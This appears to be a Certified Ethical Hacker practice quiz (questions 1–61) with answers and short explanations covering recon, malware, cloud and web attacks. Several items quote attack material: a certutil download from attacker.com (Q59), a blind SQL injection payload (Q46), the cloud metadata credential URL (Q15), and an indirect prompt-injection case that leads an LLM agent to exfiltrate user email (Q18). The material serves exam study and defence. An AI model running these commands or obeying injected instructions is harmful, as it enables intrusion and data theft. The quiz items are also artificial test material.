85 questions · instant answer feedback · concise explanations · free
Question 1 of 85Your role as a cybersecurity analyst at XYZ Corporation requires you to perform a thorough security assessment of the company's online presence. You initiate the process with a passive reconnaissance phase, trying to gather as much information as possible without interacting directly with the target system. Which of the following techniques or tools is least likely to assist you in this endeavor? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Using a tool like Nmap to scan the company's public IP range.
Nmap is an active reconnaissance tool that directly interacts with the target. Passive reconnaissance involves gathering information without direct system interaction.
Question 2 of 85An attacker uses a 'Side-channel attack' against a cryptographic module by measuring the power consumption during encryption. What is this specific technique called?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Differential Power Analysis (DPA)
Differential Power Analysis is the specific technique of analyzing power consumption to find cryptographic keys. This is a classic side-channel attack method.
Question 3 of 85An attacker uses a fileless malware technique that utilizes the 'Regsvr32.exe' utility to download and execute a remote COM scriptlet (SCT file). Which of the following best describes this technique?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Squiblydoo
Squiblydoo is the precise term for using Regsvr32.exe to execute remote SCT files. The other options describe distinct fileless malware techniques.
Question 4 of 85A cybersecurity team identifies suspicious outbound network traffic. Investigation reveals malware utilizing Background Intelligent Transfer Service (BITS) to evade firewall detection. Why would attackers use this particular service to hide malicious activities?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Because BITS packets appear identical to normal Windows update traffic.
BITS is the correct answer because its traffic mimics legitimate Windows updates, allowing it to blend in and evade detection by firewalls. The other options are incorrect because BITS does not use encrypted DNS, exclusively HTTP, or IP fragmentation.
Question 5 of 85You are a security analyst investigating a network compromise. The infected systems are receiving external instructions, masking the control traffic using widely allowed protocols like HTTP and DNS. The payloads are stealthy and modify system components without saving files to disk. What would be the most effective action to detect and disrupt this kind of malware communication?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Use behavioral analytics to monitor for irregular outbound requests and abnormal application behavior.
Behavioral analytics is the correct answer because it detects anomalies in process activity and network requests, which is necessary for fileless malware that evades signature-based detection. The other options are ineffective against this sophisticated threat.
Question 6 of 85When auditing a CI/CD pipeline, you find that 'Secret Scanning' is disabled. What is the primary risk during the 'Build' phase? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Hardcoded API keys or credentials might be pushed to the container image or public repo.
This is correct because disabled secret scanning risks exposing credentials during build. The trap is technical issues, not misconfigurations like GPL licensing.
Question 7 of 85A penetration tester is analyzing a mobile application. They find that the app uses a hardcoded API key to communicate with a Firebase backend. In the context of CEH v13, what is the most effective tool to automate the discovery of such secrets in the APK?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. MobSF (Mobile Security Framework)
MobSF automates APK analysis for hardcoded secrets and vulnerabilities, making it the ideal tool for this scenario. Wireshark and Nmap are network-focused, while John the Ripper is for password cracking, not secret discovery.
Question 8 of 85In your role as a cybersecurity specialist for a growing tech company, you are tasked with performing a regular network scan to check for any potential vulnerabilities. Your manager has specifically asked you to use a NULL scan for this round. In the context of TCP NULL scanning, what response (or lack thereof) would indicate that a particular port on a target machine is closed? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. The target machine responds with a TCP RST packet.
A TCP RST packet means the port is closed. The RST resets the connection, indicating no service is listening on that specific port.
Question 9 of 85An attacker uses 'Certutil.exe' with the '-urlcache' flag to download a malicious binary. How should a modern EDR be configured to detect this 'Living off the Land' behavior?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Monitor for parent-child process anomalies and network connections initiated by system binaries like certutil.
Monitoring parent-child process anomalies is the best detection method. Blocking or renaming system binaries breaks legitimate functionality and is not a practical solution.
Question 10 of 85An attacker uses a fileless malware technique that leverages 'mshta.exe' to execute a malicious HTA script stored in a remote server's registry key. Why is this technique highly effective in 2026? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. It bypasses disk-based signature scanning by running in memory.
Fileless malware using 'mshta.exe' runs in memory, bypassing disk-based signature scanning. Option B describes encryption, not evasion; C and D are unrelated to this specific technique.
Question 11 of 85Which of the following describes a 'Poisoning Attack' against a machine learning model used for malware detection? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Modifying the training dataset to include samples that misclassify specific malware as 'Benign'.
A poisoning attack corrupts the training data to misclassify malware as benign. Option B is a denial-of-service attempt, not a poisoning attack that manipulates model logic.
Question 12 of 85You are a Certified Ethical Hacker and have been hired by a financial institution to assess the security of its newly developed web application. The application employs a multifaceted authentication system with JavaScript-based client-side controls. During your testing, you discover that client-side controls enforce password strength and ensure CAPTCHA validation. The application also uses a proprietary encryption algorithm for client-side data. Your goal is to bypass these client-side controls to assess how robust they really are. What method would be the most effective for bypassing these controls without triggering server-side alarms? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Utilize a proxy tool to intercept and modify the client-side controls before they reach the server.
A proxy tool is the most effective method for bypassing client-side controls, as it intercepts and modifies data before it reaches the server, preventing server-side validation from ever seeing the bypass.
Question 13 of 85While monitoring an IoT network, you notice many devices communicating via MQTT over port 1883. An attacker publishes a message to a command topic with the 'Retain' flag enabled. What does this flag achieve?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. It ensures any new device subscribing to that topic immediately receives the malicious message.
The 'Retain' flag ensures any new subscriber to a topic receives the last message, allowing an attacker to persist malicious commands that infect new devices without sending new messages.
Question 14 of 85During a cloud security assessment, your team discovered that a former employee still had access to critical resources despite leaving the organization months ago. Which of the following practices could have most effectively prevented this issue? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Enforcing timely user de-provisioning
This question effectively tests identity and access management (IAM) best practices, a fundamental security control. The other options are secondary controls that don't directly solve the access de-provisioning issue.
Question 15 of 85An AWS administrator finds that an EC2 instance has been compromised. The attacker used the instance to query 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'. What was the attacker trying to obtain?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Temporary security tokens (Access Key, Secret Key, and Session Token) associated with the instance's IAM role.
The metadata URL returns temporary IAM credentials, allowing the attacker to access AWS resources. The other options are incorrect, as this URL doesn't return root passwords or VPC keys.
Question 16 of 85A developer is using a CI/CD pipeline and accidentally commits a .env file containing API keys to a private GitHub repository. Which tool should be integrated into the pipeline to prevent this?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Secret Scanning (e.g., TruffleHog or Gitleaks)
Secret Scanning tools, like TruffleHog, are built specifically to find exposed keys in code. SAST and DAST find code vulnerabilities, not secrets.
Question 17 of 85A penetration tester intercepts HTTP requests between a user and a vulnerable web server. The tester observes that the session ID is embedded in the URL, and the web application does not regenerate the session upon login. Which session hijacking technique is most likely to succeed in this scenario?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Session fixation by pre-setting the token in a URL.
Session fixation works when a non-regenerated session ID is sent via URL. The attacker can predict this ID before the user authenticates.
Question 18 of 85A security analyst is investigating a compromised LLM-based customer service agent. The attacker sent a hidden instruction within a website that the LLM was summarizing, causing the bot to exfiltrate the current user's email address. What is this attack called?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Indirect Prompt Injection
Indirect prompt injection is correct because the attacker manipulated external data the LLM processed, not the direct prompt. The other options involve direct manipulation or evasion techniques not applicable here.
Question 19 of 85A cybersecurity team is assessing an organization's network for misconfigurations. During the enumeration process, they use a tool that sends a request to UDP port 161 and receives a large list of software names installed on remote devices. The operation is successful due to the use of a publicly known community string. What enabled this enumeration technique to work so effectively? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. The SNMP agent allowed anonymous bulk data queries due to default settings.
Anonymous bulk data queries via SNMP's default community string enabled this. The other options describe unrelated vulnerabilities like FTP or registry access.
Question 20 of 85In a highly secure online banking environment, customers have reported unauthorized access to their accounts despite robust authentication measures in place. Upon investigation, it is discovered that attackers are employing sophisticated session hijacking techniques to compromise user sessions and conduct fraudulent transactions. The security team is tasked with implementing effective countermeasures to prevent further unauthorized access and protect customer accounts. Considering the scenario described, which advanced session-hijacking technique, resembling a scenario-based attack, poses the greatest challenge for the security team to detect and mitigate effectively, potentially compromising the security of online banking transactions? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Man-in-the-Browser (MitB) Attack Installing Malicious Browser Extensions to Intercept User Sessions
Man-in-the-Browser (MitB) is the correct answer because it attacks the browser layer after authentication, making it exceptionally hard for servers to detect and severely compromising real-time transactions. The other options are detectable by network or server-side security controls.
Question 21 of 85A corporation has transitioned to a public cloud service. The security team found a critical flaw in the API of the cloud service provider. What is the potential threat they are most likely to face?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Unauthorized access to cloud resources
Unauthorized access to cloud resources is the correct answer, as API flaws are a direct vector for compromising cloud environments. Physical security and data encryption are less likely threats from an API vulnerability.
Question 22 of 85During a vulnerability assessment of a Kubernetes cluster, you identify a pod with 'hostNetwork: true' and 'privileged: true'. What is the most significant risk associated with this configuration?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. The pod can sniff traffic from the node's network interfaces and potentially escape the container.
This is correct because 'hostNetwork: true' and 'privileged: true' allow the pod to access the host's network, enabling packet sniffing. The trap is confusing network access with isolation or encryption.
Question 23 of 85As a cybersecurity professional conducting a network vulnerability assessment for your organization, you discover a potentially critical vulnerability. This vulnerability arises from an outdated software component installed on a critical production server used by the financial department. The software vendor has acknowledged this vulnerability and promptly released a patch to fix it. However, the application of the patch has been deferred due to the department's operational needs, as they cannot tolerate downtime during business hours, which would significantly impact their productivity. The situation poses a significant risk due to the potential for exploitation until the patch is applied. With these constraints in mind, as a Certified Ethical Hacker, what immediate action could you undertake to reduce the risk associated with this vulnerability without disrupting department operations? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Implement a strategy of Virtual Patching, providing a protective layer around the vulnerability until the actual patch can be applied.
This is correct because virtual patching mitigates risk without downtime. The trap is reactive monitoring versus proactive protection.
Question 24 of 85A red team operator is conducting reconnaissance on a financial organization's infrastructure. While probing UDP port 123, they send NTP queries and receive a list of internal IP addresses and connected hostnames. The organization is unaware that sensitive network details are exposed externally. What is the most likely reason for this information disclosure?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. The NTP daemon is configured to accept queries from external sources without restriction.
This is correct because unrestricted NTP queries leak internal hostnames. The trap is misinterpreting firewall misconfigurations as DNS issues.
Question 25 of 85During a pentest of a Kubernetes cluster, you find a pod running with 'privileged: true' and the 'hostPID: true' flag. Which technique is most effective for escaping to the underlying node?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Accessing the host's /proc directory to inject code into a host process.
The 'hostPID: true' flag allows a privileged pod to access the host's /proc directory, enabling process injection onto the node. This is a direct path to root escape, whereas brute-forcing certificates is less reliable and scanning NodePorts doesn't grant host access.
Question 26 of 85A cybersecurity firm has deployed a comprehensive defense system, including Intrusion Detection Systems (IDS), firewalls, and honeypots, to protect its network from malicious activities. Despite these measures, the security team has noticed suspicious traffic patterns indicating potential attempts to evade detection and breach the network perimeter. The team is tasked with identifying advanced evasion techniques and strengthening the defense mechanisms to mitigate emerging threats effectively. Given the scenario described, which sophisticated evasion technique, resembling a scenario-based attack, poses the greatest challenge for the security team to detect and mitigate effectively, potentially compromising the integrity of the cybersecurity firm's network?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Covert Channel Communication Exploiting Unused IP Header Fields to Conceal Malicious Traffic and Evade Detection by Security Devices
Covert channels hide malicious traffic within protocol fields, making it invisible to traditional IDS and firewall inspection. This is more challenging to detect than polymorphic malware or protocol fragmentation, which are more easily flagged by signature-based systems.
Question 27 of 85An attacker successfully executes a 'Side-channel attack' by analyzing the electromagnetic emissions of a specialized IoT hardware device while it processes RSA keys. What is this specific technique? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. TEMPEST / Analysis of emanations
TEMPEST involves analyzing electromagnetic emanations to extract data, which is a classic side-channel technique. The other options are unrelated—session hijacking, social engineering, and brute force exploit different attack vectors entirely.
Question 28 of 85A multinational company is planning to integrate an IoT-based environmental control system for its manufacturing units worldwide. They engage a cybersecurity team to ensure that the new system remains secure from any potential threats. The cybersecurity team is tasked with identifying the most likely method an advanced persistent threat (APT) group might use to compromise the new IoT-based environmental control system. What is the most plausible attack vector? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. The APT group will exploit zero-day vulnerabilities present in the IoT device firmware.
APT groups commonly exploit zero-day vulnerabilities in IoT firmware since patches are unavailable, giving them direct system access. Credential theft or MITM attacks require initial compromises, which zero-days bypass entirely.
Question 29 of 85An attacker intercepts a Bluetooth Low Energy (BLE) connection and performs a 'GATT Replay Attack'. Which of the following would have prevented this?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Implementing 'Link Layer' encryption and using sequence numbers or timestamps.
Link Layer encryption and sequence numbers or timestamps prevent a GATT Replay Attack by making each transmission unique and ensuring data integrity, which is the correct defense.
Question 30 of 85A senior executive receives a personalized email with a subject line that reads "Annual Performance Review 2024." The email contains a downloadable PDF that installs a backdoor when opened. The email appears to come from the CEO and includes company branding. Which phishing method does this best illustrate?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Whaling attack aimed at high-ranking personnel
A whaling attack targets high-ranking executives with highly personalized and convincing emails, as seen in this scenario where the email impersonates the CEO.
Question 31 of 85In your role as a cybersecurity analyst at a large e-commerce company, you have been tasked with reinforcing the firm's defences against potential Denial-of-Service (DoS) attacks. During a recent review, you noticed several IP addresses generating excessive traffic, causing an unnaturally high load on the server. An inspection of these packets revealed that the TCP three-way handshake was never completed, leaving multiple connections in a SYN_RECEIVED state. The intent appears to be the saturation of server resources without any genuine intent to establish a full connection. Given these details, what type of DoS attack is most likely being executed against the company's servers?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. SYN Flood: This attack floods a target with SYN requests in an attempt to consume enough server resources to make the system unresponsive, aligning with the high volume of incomplete TCP handshakes.
A SYN Flood attack is identified by a high volume of incomplete TCP three-way handshakes, which leaves connections in a SYN_RECEIVED state to saturate server resources.
Question 32 of 85You have been hired by a government agency to evaluate Android smartphones' resistance against covert surveillance. During your assessment, you want to demonstrate whether attackers could eavesdrop on sensitive conversations conducted through the loudspeaker without special permissions by exploiting built-in smartphone sensors. Which specific attack technique should you implement to effectively demonstrate this privacy risk?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Spearphone attack exploiting accelerometer-based vulnerabilities.
The Spearphone attack exploits accelerometer-based vulnerabilities to eavesdrop on loudspeaker audio without special permissions. The other options focus on unrelated attack vectors like NFC or application manipulation, which are less relevant to this specific sensor-based privacy risk.
Question 33 of 85In a Kubernetes environment, what is the purpose of a 'Sidecar Container' from a security perspective when implementing a Service Mesh?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. To provide mTLS (mutual TLS) and fine-grained traffic encryption between microservices.
A Sidecar Container provides mTLS and fine-grained encryption between microservices in a Service Mesh. Options A, B, and D describe unrelated functions like logging, performance, or redundancy.
Question 34 of 85You work as a network security officer for a large corporation. Recently, you've noticed that certain confidential files are being accessed by unauthorized users within the network. You suspect that a Man-in-the-Middle (MitM) attack is being carried out. Which of the following network activities would help you confirm this?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. IP addresses being resolved to multiple MAC addresses.
IPs resolving to multiple MACs indicate a MitM attack, as one IP should map to one MAC. Other options suggest general anomalies but not specific MitM behavior.
Question 35 of 85During a routine security audit at a large financial services organization, the IT team detects severe network latency and recurring bandwidth exhaustion across its corporate WAN links. Upon deeper investigation, they discover that several employee workstations and IoT-connected devices are unknowingly transmitting enormous volumes of traffic to numerous external IP addresses. These devices, all exhibiting similar traffic patterns and command-response behaviors, are found to be under the control of a remote botnet operator. The incident raises serious concerns about insider-originated denial-of-service activity that is also affecting external entities. Which type of denial-of-service attack best describes the organization's current situation? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. An attack where compromised internal devices participate in a botnet and flood external targets with traffic.
The correct answer describes a botnet-based DDoS where compromised internal devices flood external targets. Option B is a misdirection to amplify traffic through DNS, which isn't occurring here.
Question 36 of 85While auditing an Azure environment, you find a 'Managed Identity' assigned to a Virtual Machine with 'Contributor' permissions on a Subscription. How can an attacker on that VM exploit this?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. By querying the Instance Metadata Service (IMDS) to get a token and then using Azure CLI to manage resources.
An attacker on the VM can query IMDS to get a token and use Azure CLI to manage resources with the 'Contributor' permissions. Option A is invalid as Managed Identity has no password to brute-force.
Question 37 of 85A malware analyst is tasked with evaluating a suspicious PDF file suspected of launching attacks through embedded JavaScript. Initial scans using pdfid show the presence of JavaScript and /OpenAction keywords. What should the analyst do next to understand the potential impact?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Extract and analyze stream objects using PDFStreamDumper.
PDFStreamDumper directly examines embedded streams where malicious JavaScript hides. Option A is passive, B finds signatures but not code, and C applies to PE files, not PDFs.
Question 38 of 85As a cybersecurity professional in a growing organization, you are tasked with conducting comprehensive reconnaissance of your own company's digital presence. In addition to using tools like WHOIS, DNS analysis, and search engines, you are also considering investigating the Deep Web. Which of the following justifications best supports your idea to explore the Deep Web for potential risks related to your organization's information? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Search engines don't index the Deep Web, and there could be non-indexed company information lying there.
Search engines do not index the Deep Web, so information stored there remains hidden. Options B, C, and D are misinformed or irrelevant to passive reconnaissance.
Question 39 of 85As a cybersecurity professional in XYZ Corporation, you've been assigned to investigate an anomaly in the system logs that suggest possible unauthorized activities. The system administrators detected repeated failed login attempts on a critical server, followed by a sudden surge in outbound data traffic. These events, while discrete, are raising concerns that the system may have been compromised. Given the high stakes and sophisticated nature of this potential security breach, what should be your initial course of action to manage this situation effectively?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Conduct real-time monitoring of the server, scrutinize the logs for unusual patterns, and identify the nature of the activities to devise an immediate countermeasure.
The correct initial action is real-time monitoring to understand the threat before acting. This prevents premature actions like disconnecting the server, which could destroy evidence needed for a proper investigation.
Question 40 of 85As a newly appointed ethical hacker for XYZ Corporation, you have been assigned your first major task. The company has been facing persistent cyber threats and as a precautionary measure, you are tasked to conduct a thorough network vulnerability assessment. Your key objective is to efficiently map out all open ports and associated services in the organization's expansive network. Simultaneously, it's of paramount importance that your activities remain stealthy and do not trigger the advanced intrusion detection systems (IDS) employed by the organization. Given these requirements, which scanning technique would you opt for to achieve your task with maximum efficacy and discretion?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Stealth Scan (SYN Scan)
A SYN scan is the ideal choice because it's a half-open connection that doesn't complete the TCP handshake, making it stealthy and less likely to trigger traditional IDS signatures.
Question 41 of 85Which of the following best describes the role of a penetration tester? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. A security professional hired to identify and exploit vulnerabilities with permission
This correctly defines a penetration tester as an authorized professional who mimics an attack to find vulnerabilities, which distinguishes them from malicious hackers.
Question 42 of 85During a red team exercise, an attacker dresses as a network technician and gains unchallenged access to a restricted area. Once inside, he roams freely, observing employees and reviewing sensitive documents left unattended. Which of the following tactics best represents this scenario? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Gaining physical access by assuming the identity of a trusted internal staff.
This question perfectly tests social engineering tactics, specifically physical impersonation, a core red teaming skill. The wrong options are weaker because they describe different attack vectors like dumpster diving and phishing.
Question 43 of 85As a Certified Ethical Hacker, you have been approached by a leading international corporation to assess and enhance their cloud-based security framework. The corporation recently transitioned to a serverless computing architecture for its e-commerce application and experienced significant improvements in scalability and cost-efficiency. However, they fell victim to an intricate attack where an unauthorized user manipulated their cloud service's function-as-a-service (FaaS) component to execute malicious commands. Your investigation revealed that the attack originated from an insecure third-party API used within one of the serverless functions. Given the attack's complexity, what would be your recommended countermeasure for strengthening the security posture?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Implementing a function-level permission model and enforcing the principle of least privilege.
This is an excellent question for modern cloud security, testing least privilege in serverless architectures. It correctly identifies that function-level permissions are the most direct countermeasure to the attack described.
Question 44 of 85An ethical hacker is conducting a penetration test on a company's network with full knowledge and permission from the organization. What is this type of hacking called? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. White Hat Hacking
White Hat Hacking is correct because it explicitly involves authorized, ethical penetration testing with permission. Other options imply unauthorized or malicious activity.
Question 45 of 85A company implements WPA3 for its internal Wi-Fi. An attacker attempts a 'KRACK' attack (Key Reinstallation Attack). Why is WPA3 more resilient to this than WPA2?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. WPA3 uses the Simultaneous Authentication of Equals (SAE) protocol, which is resistant to passive observation and key reinstallation.
WPA3 uses SAE, which is resistant to key reinstallation. Option C is a trap because SAE replaces, not disables, the handshake.
Question 46 of 85During an ethical hacking exercise, a security analyst is testing a web application that manages confidential information. The analyst suspects the application may be susceptible to SQL injection attacks. Which of the following payloads will most likely reveal if the application is vulnerable to time-based blind SQL injection attacks?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. ' AND BENCHMARK(5000000,ENCODE('test','test')); —
The BENCHMARK payload introduces a delay to test time-based vulnerabilities. Option B is a trap because it tests for basic SQL injection, not blind injection.
Question 47 of 85An ethical hacker is auditing a hospital's wireless network, which is currently secured with WPA encryption using TKIP. The hacker successfully demonstrates packet-injection and decryption attacks on the network. Which vulnerability in WPA most likely allowed these attacks to succeed?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Use of weak Initialization Vectors (IV).
TKIP's weak IVs are a known flaw that allows for decryption and packet injection attacks. While WPA2 with AES is secure, WPA with TKIP is vulnerable.
Question 48 of 85A critical infrastructure facility has an extensive network of IoT devices integrated with its OT systems. Following a recent surge in cyberattacks on similar facilities globally, the security team received an anonymous email detailing a possible attack on their systems. The attacker allegedly plans to compromise the IoT devices and use them as a gateway to the OT systems. What should be the immediate action of the security team to mitigate this threat?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Employ an intrusion prevention system (IPS) on the network to detect and block any malicious activities.
An IPS can detect and block malicious activity from compromised IoT devices. While other options are good long-term strategies, the immediate action is to block the attack.
Question 49 of 85In a comprehensive penetration testing scenario, you are charged with the task of gaining detailed insights into a target organization's network configuration, structure, and security posture. To accomplish this task, you plan to employ a multitude of reconnaissance techniques, including an in-depth DNS interrogation. DNS interrogation can reveal various pieces of information that are invaluable to a penetration tester. However, there are certain limitations to the kind of data you can obtain directly through this method. Considering these restrictions, which among the following pieces of information CANNOT be directly obtained from an extensive DNS interrogation? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. The specific usernames and passwords used by the organization's employees.
DNS queries reveal domain mappings, not private credentials like usernames and passwords. Other options are valid DNS data points, making option A the clear incorrect answer.
Question 50 of 85Which AI-specific threat involves an attacker querying an ML model repeatedly to reconstruct the underlying training data or the model's logic? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Model Extraction (or Inversion)
Model Extraction involves repeatedly querying an AI model to steal its underlying data or logic. This is a direct threat to intellectual property.
Question 51 of 85A government agency trains a group of cybersecurity experts to carry out covert cyber missions against foreign threats and gather intelligence without being detected. These experts work exclusively for national interests. What classification best describes them?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. State-sponsored hackers
State-sponsored hackers is the correct answer as they act directly for a government's national interests. Organized, gray hat, and hacktivists lack the official government backing described in the scenario.
Question 52 of 85A logistics company recently found that some of its fleet vehicles equipped with smart locking systems were compromised, leading to vehicle thefts. The cybersecurity team suspects that attackers captured unique signals emitted by the key fobs during regular usage. To effectively confirm and prevent this attack in the future, what should the security team prioritize?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Monitor wireless signals for abnormal jamming or interference.
This is correct because signal jamming reveals key fob replay attacks. The trap is confusing digital security with physical measures.
Question 53 of 85As a cybersecurity analyst at XYZ Corp., you're examining system logs and notice an array of activities that suggest the presence of an elusive rootkit. Given the stealthy nature of rootkits, their detection and eradication are pivotal to maintaining system security and preventing data compromise. Assessing the system, you find the rootkit has been embedded deeply within the operating system kernel. In this critical situation, which strategy should you follow to remediate the rootkit effectively while minimizing potential damage?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Employ a systematic, multi-layered strategy, starting with the deployment of a specialized rootkit detection tool to verify the presence and type of rootkit, followed by an appropriately tailored removal procedure, specific to the identified rootkit.
This is correct because kernel rootkits need specialized detection and removal. The trap is overreacting with honeypots or full reinstallation.
Question 54 of 85A city's power management utilizes SCADA systems to oversee operations. Recently, the infrastructure has shown unexplained anomalies such as inconsistent sensor values and intermittent outages. Security experts suspect a side-channel attack aiming to discreetly extract sensitive information from SCADA devices. Which investigative technique would best confirm if attackers employed this specific side-channel method?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Measure unusual fluctuations during device operations at the hardware level.
Side-channel attacks exploit physical characteristics like power fluctuations, requiring hardware-level monitoring to detect. Network latency or UI reviews might indicate other issues, but hardware-level analysis is the definitive method for confirming side-channel leakage.
Question 55 of 85A cybersecurity team at a multinational company notices unusual network traffic on their Bluetooth devices. It is suspected to be a Bluesnarfing attack, aimed at accessing unauthorized information from Bluetooth-enabled devices. Which of the following would be the most effective countermeasure to prevent further unauthorized access? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Disable "Discoverable Mode" and activate "Non-discoverable Mode" on all Bluetooth devices.
Disabling discoverable mode prevents attackers from detecting Bluetooth devices, the first step in Bluesnarfing. Firmware updates and strong PINs are secondary defenses; encryption doesn't prevent discovery-based attacks.
Question 56 of 85A cybersecurity analyst working for a multinational corporation is tasked with performing regular surveillance of their competitors' digital presence to identify any changes that could indicate strategic shifts or potential threats. To stay updated on their competitors' web content updates, the analyst has devised a plan to use several tools and techniques to achieve his objective efficiently. However, there is a key component in his strategy that he overlooked. Which of the following is the most crucial aspect he should add to ensure the effective implementation of his surveillance strategy?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Set up Google Alerts to receive email notifications whenever new web content includes their competitors' names or other key terms.
Google Alerts are the best choice for automated monitoring. VPNs don't track changes, hacking is unethical, and forum engagement is inefficient and risky.
Question 57 of 85During a black-box assessment, an attacker executes the Nmap command: nmap -p25 –script smtp-enum-users –script-args smtp-enum-users.methods={VRFY, EXPN, RCPT} <target IP>. The script successfully returns multiple valid usernames. What server misconfiguration is being exploited?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. SMTP user verification commands are exposed without restrictions.
Unrestricted user verification commands allow easy username enumeration. Disabling STARTTLS or allowing auth without credentials are different security issues.
Question 58 of 85As an IT technician in a small software development company, you are tasked with providing security against different kinds of cyber threats. You learn about various methods hackers might use to bypass your company's firewalls. Which of the following is a common technique used by attackers to evade firewall detection? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Changing the source IP address of packets to appear as if the traffic is coming from a trusted source.
IP spoofing allows attackers to bypass firewall rules that rely on trusted source IP addresses. This is a classic firewall evasion technique that attackers frequently use to appear legitimate.
Question 59 of 85A red teamer uses 'Certutil.exe -urlcache -f http://attacker.com/payload.exe' to download a file. How does an EDR typically detect this Living-off-the-Land (LotL) activity?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. By monitoring command-line arguments and unusual network connections from system binaries.
EDR detects LotL activities by monitoring suspicious command-line arguments from trusted system binaries and their corresponding unusual network connections.
Question 60 of 85Upon analyzing anomalies in your network's traffic, you discover traces of an insidious malware strain named "ShadowFlee." This malware operates without writing files to disk, harnessing system utilities and scripts like PowerShell to stealthily execute tasks, effectively evading traditional detection mechanisms. Further, it exploits legitimate processes to propagate internally. Given "ShadowFlee's" elusive attributes, which strategy would offer the most focused countermeasure?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Restrict and monitor the execution of scripts and system tools, especially those invoked by unsanctioned processes.
Restricting and monitoring script execution counters fileless malware like ShadowFlee that exploits system tools. Option A is too broad; C and D don't directly address memory-based threats.
Question 61 of 85As a cybersecurity analyst working for a multinational corporation, you are tasked with the responsibility of conducting routine vulnerability scans. This time around, you decided to use a different strategy and opted to employ a FIN scan, which is a type of stealth scanning technique. Upon conclusion of your scan, you notice an interesting anomaly – a significant number of ports did not respond to your FIN packets. With this unexpected result, you are now faced with the challenge of correctly interpreting the findings and planning the next course of action. Based on your understanding of FIN scanning and TCP/IP protocols, how should you interpret these findings? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Consider the possibility of a firewall blocking the FIN packets and investigate further.
Firewalls often block FIN scans, so a lack of response requires investigation. Option C is incorrect because only RST/ACK indicates a closed port in this context.
